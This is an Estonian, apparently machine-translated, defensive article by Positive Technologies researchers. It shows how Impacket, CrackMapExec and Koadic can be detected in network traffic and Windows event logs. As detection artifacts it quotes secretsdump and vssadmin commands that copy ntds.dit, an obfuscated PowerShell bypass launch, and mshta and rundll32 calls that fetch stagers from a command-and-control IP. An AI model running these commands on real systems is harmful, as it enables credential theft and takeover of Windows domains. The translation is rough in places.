Kuidas tuvastada rünnakud Windowsi infrastruktuuri: uurime häkkerite tööriistu

Iga aastaga kasvab rünnakute arv ettevõtetes: näiteks 2017. aastal registreeriti 13% rohkem unikaalseid intsidente kui 2016. aastal, ja 2018. aasta lõikes — 27% rohkem intsidente, kui eelneval perioodil. Sealhulgas olukordades, kus peamine tööriist on operatsioonisüsteem Windows. Aastatel 2017–2018 ründasid rühmitused APT Dragonfly, APT28, APT MuddyWater tõi rünnakud Euroopa, Põhja-Ameerika ja Saudi Araabia valitsus- ja sõjaväeorganisatsioonidele. Selleks kasutati kolme tööriista — Impacket, CrackMapExec ja Koadic. Nende lähtekood on avatud ja saadaval GitHubis.

Oluline on märkida, et neid tööriistu ei kasutata algse sisenemise jaoks, vaid rünnaku arendamiseks infrastruktuuri sees. Küberkurjategijad kasutavad neid rünnaku erinevates etappides, mis järgivad perimeetri ületamist. Sellega on keeruline tuvastada, ja sageli ainult tehnoloogia kompromiteerimise jälgede tuvastamiseks võrgu andmeliikluses või tööriistade abil, mis võimaldavad tuvastada küberkurjategija aktiivseid tegevusi pärast selle infrastruktuuri sisenemist. Tööriistad pakuvad palju funktsioone — failide edastamisest kuni registriga suhtlemise ja kaugkäsitsuse täitmiseni. Me viisime läbi nende tööriistade uurimise, et määrata nende võrgu aktiivsus.

Mida me pidime tegema:

• Mõista, kuidas töötab häkkerite tööriistade komplekt.Saada teada, mida ründajad vajavad ekspluateerimiseks ja milliseid tehnoloogiaid nad saavad kasutada.
• Leida see, mis ei tuvastata infotech’ide turbevahendite abil rünnaku algstaadiumis.Uurimise etapp võib olla vahele jäetud, kas seetõttu, et ründaja on sisemine küberkurjategija või seetõttu, et ründaja kasutab varjatuks jäänud infrastruktuuri haavatavust. Tekib võimalus taastada kogu tema tegevuste ahel, millest tuleneb soov tuvastada edasine liikumine.
• Eemaldada valehäiret rünnaku tuvastamise vahenditest. Ei tohi unustada, et üheainsa luureandmete põhjal teatud toimingute tuvastamisel võivad sageli esineda vead. Tavaliselt on infrastruktuuris piisavalt meetodeid, mis esmapilgul ei eristu legitiimsetest, et saada mingit teavet.

Kuid mida annavad ründajatele need tööriistad? Kui see on Impacket, saavad kurjategijad suure moodulite teegi, mida saab kasutada erinevates rünnakuetappides pärast perimeetri ületamist. Paljud tööriistad kasutavad Impacket'i mooduleid enda sees — näiteks Metasploit. Seal on dcomexec ja wmiexec kaugkäskude täitmiseks, secretsdump mälu kasutajakontode hankimiseks, mis on lisatud Impacket'ist. Lõppkokkuvõttes tagab selle teegi tegevuse õige tuvastamine ka kõrvaltoimete avastamise.

CrackMapExec (või lihtsalt CME) loojad ei ole ilmaasjata kirjutanud «Powered by Impacket». Lisaks sellele sisaldab CME valmis funktsionaalsust populaarsete stsenaariumide jaoks: seal on Mimikatz paroolide või nende hashide hankimiseks, Meterpreter või Empire agendi sisestamine kaugtäide jaoks ning Bloodhound pardal.

Meie kolmas valitud tööriist on Koadic. See on üsna uus, esitlemine aset leidis rahvusvahelisel häkkerikonverentsil DEFCON 25 2017. aastal ja eristub ebatavalise lähenemisega: töö kaudu HTTP, Java Script ja Microsoft Visual Basic Script (VBS). Seda lähenemist nimetatakse living off the land: tööriist kasutab Windowsisse sisseehitatud sõltuvuste ja raamatukogude komplekti. Loojad nimetavad seda COM Command & Control, või C3.

IMPACKET

Impacket'i funktsionaalsus on väga ulatuslik, alustades luuretegevusest AD-s ja andmete kogumisest sisemistelt MS SQL serveritelt, lõpetades autentimisandmete hankimise tehnikatega: sealhulgas SMB relay rünnak ja ntds.dit faili hankimine domeeni kontrollerilt, mis sisaldab kasutajate paroolide hashe. Samuti täidab Impacket kaugkäsklusi, kasutades neli erinevat meetodit: läbi WMI, Windowsi ajakava haldamise teenuse, DCOM ja SMB, ning selleks on vajalikud autentimisandmed.

Secretsdump

Vaatame nüüd secretsdumpi. See on moodul, mille sihtmärkideks võivad olla nii kasutajamasinad kui ka domeenikontrollerid. Selle abil on võimalik saada koopiaid LSA, SAM, SECURITY, NTDS.dit mälupiirkondadest, mistõttu seda võidakse näha rünnaku erinevatel etappidel. Mooduli töö esimene samm on autentimine SMB kaudu, mille jaoks on vajalik kas kasutaja parool või selle räsimärk, et teostada automaatne Pass the Hash rünnak. Seejärel saadetakse päring Service Control Manageri (SCM) juurdepääsu avamiseks ja registrisse juurdepääsu saamiseks winreg protokolli kaudu, mille abil ründaja saab teada huvipakkuva registrivõti andmed ja saada tulemused SMB kaudu.

Joonisel 1 näeme, kuidas winreg protokolli kasutamisel toimub juurdepääsu saamine LSA registrivõtmele. Selleks kasutatakse DCERPC käsku opcode 15 — OpenKey.

Joonis 1. Registrivõtme avamine winreg protokolli kaudu

Edasi, kui juurdepääs registrivõtmele on saadud, salvestatakse väärtused SaveKey käsuga opcode 20. Impacket teostab seda väga spetsiifiliselt. Ta salvestab väärtused faili, mille nimi on 8 juhusliku tähega ja millele on lisatud .tmp. Lisaks toimub edasine faili väljavõtt SMB kaudu System32 kaustast (joonis 2).

Joonis 2. Registrivõtme saamise skeem eemalt

Seega on sarnase tegevuse tuvastamine võrgus võimalik, jälgides päringute tegemist kindlatele registrivõtme harudele winreg protokolli kaudu, spetsiifilisi nimesid, käske ja nende järjekorda.

Samuti jätab see moodul jälgi Windowsi sündmuste logisse, mis aitab seda hõlpsasti avastada. Näiteks käsu täitmisel

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso\/Administrator:@DC

näeme Windows Server 2016 logis järgmist võtme sündmuste järjekorda:

1. 4624 — kauglogimine.
2. 5145 — kaugteenuse winreg juurdepääsu kontroll.
3. 5145 — failile System32 kaustas juurdepääsu kontroll. Failil on eelpool mainitud juhuslik nimi.
4. 4688 — protsessi cmd.exe loomine, mis käivitab vssadmin:

“C:windowssystem32cmd.exe" \/Q \/c echo c:windowssystem32cmd.exe \/C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe \/Q \/c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — protsessi loomine käsuga:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 — protsessi loomine käsuga:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 — protsessi loomine käsuga:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Nagu paljude post-kasutusasjade tööriistade puhul, on ka Impacketil mooduleid kaugete käsu täitmiseks. Peatume smbexecitel, mis annab interaktiivse käsurea kaugmasinas. Selle mooduli jaoks on samuti vajalik autentimine SMB kaudu kas parooli või selle räsi abil. Joonisel 3 näeme selle tööriista töö näidet, antud juhul on see kohaliku administraatori konsool.

Joonis 3. Interaktiivne smbexec konsool

Smbexeci töö esimene etapp pärast autentimist on SCM avamine käsuga OpenSCManagerW (15). Päring on tähelepanuväärne: sellel on väli MachineName väärtusega DUMMY.

Joonis 4. Päring teenuste juhtimise halduri avamiseks

Järgmisena luuakse teenus käsuga CreateServiceW (12). Smbexeci puhul näeme iga kord samu käskude koostamise loogikaid. Joonisel 5 on roheline värviga tähistatud muutumatud käsu parameetrid, kollasega on tähistatud need, mida ründaja saab muuta. Pole raske märgata, et täitmise faili nimi, selle kaust ja väljundfail on muutmiseks saadaval, kuid ülejäänud muudatused on keerulisemad, ilma et Impacketi mooduli tööloogika oleks häiritud.

Joonis 5. Teenuse loomise päring teenuste juhtimise halduse kaudu

Smbexec jätab ka Windowsi sündmuste žurnali selged jäljed. Windows Server 2016 žurnalist interaktiivse käsureaga käsu ipconfig näeme järgmist olulist sündmustekeeni:

1. 4697 — teenuse seadistamine ohvrimasinas:

%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 — protsessi cmd.exe loomine punktis 1 toodud argumentidega.
3. 5145 — õiguste kontrollimise kontrollimine faili __output juures kataloogis C$.
4. 4697 — teenuse seadistamine ohvrimasinas.

%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 – cmd.exe protsessi loomine punkti 4 argumentidega.
6. 5145 – juurdepääsuõiguste kontroll failile __output kaustas C$.

Impacket on tööriistade arendamise aluseks rünnakute jaoks. See toetab peaaegu kõiki protokolle Windowsi infrastruktuuris ning omab oma iseloomulikke jooni. Siia kuuluvad konkreetsed winreg-päringud, SCM API kasutamine iseloomulikuga käsus, failide nimede formaat ja SMB jagamine SYSTEM32.

CRACKMAPEXEC

CME tööriist on loodud eeskätt automatiseerima rutiinseid tegevusi, mida ründaja peab tegema võrgu sees edasiviimiseks. See võimaldab töötada koos tuntud Empire agendi ja Meterpreteriga. Käskude varjatud täitmiseks võib CME neid obfuskatsiooniga muuta. Kasutades Bloodhoundi (erinev tööriist luureks), saab ründaja automatiseerida domeeni administraatori aktiivse sessiooni otsimist.

Bloodhound

Bloodhound iseseisva tööriistana võimaldab nõutada edasist luurimist võrgus. See kogub teavet kasutajatest, masinatest, gruppidest, sessioonidest ja tarnitakse PowerShelli skripti või binaarsete failidena. Andmete kogumiseks kasutatakse LDAP-i või SMB-põhiseid protokolle. CME integratsioonimoodul võimaldab laadida Bloodhoundi sihtmasinale, käivitada ja saada kogutud andmed pärast täitmist, automatiseerides tegevusi süsteemis ja tehes neid vähem tähelepandavaks. Bloodhoundi graafiline liides esitab kogutud andmeid graafidena, võimaldades leida lühim tee ründaja masinast domeeni administraatorini.

Joon. 6. Bloodhoundi liides

Sihtmasinasse käivitamiseks loob moodul ülesande, kasutades ATSVC ja SMB-d. ATSVC on Windowsi ülesannete planeerija liidese töötluseks. CME kasutab selle funktsiooni NetrJobAdd (1) ülesannete loomiseks võrgus. See, mida CME moodul edastab, on näidatud joonisel 7: see on cmd.exe käsu ja obfuskatsioonikoodi väljakutse XML-formaadis argumentidena.

Joon. 7. Ülesande loomine CME kaudu

Pärast ülesande täitmiseks edastamist käivitab sihtmasin ise Bloodhoundi ning seda võib liikluses näha. Moodulile on iseloomulikud LDAP-päringud standardsete gruppide, kõigi masinate ja kasutajate loendi, samuti aktiivsete kasutajate sessioonide teabe saamiseks SRVSVC NetSessEnum päringu kaudu.

Joonis 8. Aktiivsete sessioonide nimekirja saamine SMB kaudu

Lisaks kaasneb verekoera käivitamisega ohvrimasinas koos auditi sisselülitamisega sündmus, mille ID on 4688 (protsessi loomine) ja protsessi nimi «C:WindowsSystem32cmd.exe». Eriti tähelepanuväärsed on käsurea argumendid:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Modul enum_avproducts on oma funktsionaalsuse ja rakenduse poolest väga huvitav. WMI võimaldab kasutada WQL-päringute keelt erinevate Windows objektide andmete saamiseks, mida see CME moodul tegelikult kasutab. See loob päringud AntiSpywareProduct ja AntiМirusProduct klasside kohta, et saada teavet ohutusvahendite kohta, mis on ohvrimasinas installitud. Vajalikud andmed hankimiseks teeb modul ühenduse nimepinna rootSecurityCenter2, seejärel vormib WQL-päringu ja saab vastuse. Joonisel 9 on näidatud selliste päringute ja vastuste sisu. Meie näites leiti Windows Defender.

Joonis 9. Enum_avproducts mooduli võrgutegevus

Sageli võib WMI audit (Trace WMI-Activity), kus leidub kasulikku teavet WQL-päringute kohta, olla välja lülitatud. Kuid kui see on sisse lülitatud, jääb enum_avproducts skripti käivitamisel sündmus ID-ga 11. See sisaldab nimekasutaja, kes saatis päringu, ja nimepinda rootSecurityCenter2.

Iga CME mooduli kohta leiti oma artefaktid, olgu need siis spetsiifilised WQL-päringud või teatud tüüpi ülesande loomine ülesannete ajakava, mis sisaldab obfuskeeringut ning on Bloodhoundile iseloomulik tegevus LDAP ja SMB-s.

KOADIC

Koadici eripära on Windowsi integreeritud JavaScripti ja VBScripti tõlgendajate kasutamine. Seetõttu järgib see elavate maaressursside suundumust - see tähendab, et tal ei ole väliseid sõltuvusi ja ta kasutab Windowsi standardseid vahendeid. See on täieõiguslik juhtimis- ja kontrollimisvahend (CnC), kuna pärast nakatumist installitakse masinasse "implantaadi", mis võimaldab selle üle kontrolli teostada. Sellist masinat, Koadici terminoloogias, nimetatakse "zombiks". Privileegide puudumisel ohvri poolel on Koadicil võimalik neid tõsta, kasutades kontohalduse kontrolli ümbersõitmise meetodeid (UAC bypass).

Joonis 10. Koadici käsurea liides

Ohver peab ise algatama suhtluse Command & Control serveriga. Selleks peab ta pöörduma eelnevalt ettevalmistatud URI poole ja saama Koadic'i põhikeha ühe etappide kaudu. Joonisel 11 on näidatud etapp mshta jaoks.

Joonis 11. Sessiooni algatamine CnC-serveriga

Muutuja WS vastuses annab teada, et täitmine toimub läbi WScript.Shell, ning muutujad STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE sisaldavad olulist teavet praeguse sessiooni parameetrite kohta. See on esimene päring-vastus paari HTTP-ühenduses CnC-serveriga. Järgmised päringud on otseselt seotud kutsutud moodulite (implantaate) funktsionaalsusega. Kõik Koadic'i moodulid töötavad ainult aktiivse sessiooniga CnC-ga.

Mimikatz

Nii nagu CME töötab Bloodhoundiga, töötab Koadic Mimikatziga kui eraldi programmiga ning selle käivitamiseks on mitu viisi. Allpool on esitatud päring-vastus paar Mimikatz'i implantatsiooni laadimiseks.

Joonis 12. Mimikatz'i edastamine Koadic'isse

Võime märgata, kuidas päringu URI formaat on muutunud. See sisaldab väärtust muutujale csrf, mis vastutab valitud mooduli eest. Ärge pöörake tähelepanu selle nimele; me kõik teame, et CSRF tähistab tavaliselt midagi muud. Vastus sisaldas taas Koadic'i põhikeha, millele oli lisatud Mimikatz'iga seotud kood. See on piisavalt suur, seega vaatame olulisemaid punkte. Meie ees on base64 kooditud Mimikatz'i teek, serialiseeritud .NET klass, mis seda süstib, ning argumentide komplekt Mimikatz'i käivitamiseks. Täitmise tulemus edastatakse avatud kujul üle võrgu.

Joonis 13. Mimikatz'i täitmise tulemus kaugmasinas

Exec_cmd

Koadic'il on ka moodulid, mis suudavad kaugelt käske täita. Siin näeme endiselt tuttavat URI genereerimise meetodit ja tuntud muutujaid sid ja csrf. Exec_cmd mooduli korral lisatakse kehasse kood, mis suudab täita shell-käske. Allpool on toodud selline kood, mis on CnC-serveri HTTP-vastus.

Joonis 14. exec_cmd implantatsiooni kood

Muutuja GAWTUUGCFI tuttava atribuudiga WS on vajalik koodi täitmiseks. Selle abil kutsub implant shell'i, töötledes kahte koodiharu — shell.exec, mis tagastab väljundvoo, ja shell.run, mis ei tagasta.

Koadic ei ole tüüpiline tööriist, kuid sellel on oma artefaktid, mille põhjal võib seda leida legaalses liikluses:

• eriline HTTP-päringute koostamine,
• winHttpRequests API kasutamine,
• WScript.Shell objekti loomine ActiveXObjecti kaudu,
• suur täidetav keha.

Algne ühendus käivitab etapid, võimaldades selle aktiivsuse tuvastamist Windowsi sündmuste kaudu. Mshta puhul on see sündmus 4688, mis näitab protsessi loomist käivitamisparameetriga:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Koadic'i käimise ajal võib näha ka muid sündmusi 4688 koos atribuutidega, mis iseloomustavad seda väga hästi:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Järeldused

Trendi living off the land populaarsus kasvab kurjategijate seas. Nad kasutavad Windowsis sisseehitatud tööriistu ja mehhanisme oma vajaduste rahuldamiseks. Näeme, et populaarsed tööriistad Koadic, CrackMapExec ja Impacket, mis järgivad seda põhimõtet, esinevad üha enam APT aruannetes. Nende tööriistade forkkide arv GitHubis kasvab samuti, uusi ilmub järjest (hetkel on neid juba umbes tuhat). Trend on populaarne oma lihtsuse tõttu: kurjategijad ei vaja kolmandate osapoolte tööriistu, need on juba ohvrite masinates ja aitavad kaitsemehhanisme ületada. Me keskendume võrgusuhte uurimisele: iga eespool mainitud tööriist jätab oma jäljed võrgu liikluses; nende põhjalik uurimine on võimaldanud meil õpetada meie toodet PT Network Attack Discovery need tuvastama, mis aitab lõpuks uurida kogu küberintsidentide ahelat, milles nad osalevad.

Autorid:

• Anton Tyurin, ekspertteenuste juht, PT Expert Security Center, Positive Technologies
• Egor Podmokov, ekspert, PT Expert Security Center, Positive Technologies

Allikas: habr.com